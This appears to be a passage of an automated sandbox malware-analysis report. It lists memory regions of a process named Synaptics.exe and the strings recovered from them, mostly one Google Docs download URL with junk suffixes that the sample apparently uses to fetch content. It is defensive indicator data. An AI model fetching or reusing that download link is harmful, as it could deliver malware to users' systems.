00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZ
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZ%
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZIokz
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZblo
Source: Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZd
Source: Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZfSVl
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZq
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4062607736.000000001DDC5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4178945462.000000003D5A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F1FA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_$
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_150x
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_Hhh
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_p
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000765000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F1FA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.00000000006CC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada$
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadaH
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3979963048.000000000F282000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F232000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadad
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadads
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadamd
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000071B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadanC
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadandi
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadap
Source: Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadap.
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.00000000006BB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3979963048.000000000F282000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638832091.0000000000736000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadb
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4155336317.000000003D06F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadbL
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadbc
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadbel=
Source: Synaptics.exe, 00000005.00000002.4062607736.000000001DDC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadboO
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadbt
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4062607736.000000001DDC5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4178945462.000000003D5A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3979963048.000000000F282000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4150630242.000000003CF06000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.000000000729C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc.
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcaT
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4150630242.000000003CF06000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadce
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadce$
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcell?
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcellU
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcelle
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcelle8
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcellej
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcelleq
Source: Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3979963048.000000000F282000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcn.com
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcom.
Source: Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadct
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcted
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadctiv
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000071B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcu/
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4161328936.000000003D1BA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4188188699.000000003D7CD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4178945462.000000003D5A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3979963048.000000000F282000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4035966318.000000001D6C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005415000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.000000000729C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd4
Source: Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F232000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638832091.000000000076C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000765000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.000000000729C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd8
Source: Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd?id
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddD
Source: Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddDmzC
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddJ
Source: Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadde
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadden
Source: Synaptics.exe, 00000005.00000002.4276758716.00000000559BE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddh
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddr
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4062607736.000000001DDC5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4055649928.000000001DBD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3979963048.000000000F282000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4150630242.000000003CF06000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F232000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.000000000729C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3DC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade
Source: Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade8
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeN
Source: Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeY
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4055649928.000000001DBD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4150630242.000000003CF06000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadel
Source: Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadelafm
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadelle
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadellem
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadellemT
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadellemc
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadellemr
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4055649928.000000001DBD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4150630242.000000003CF06000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadem
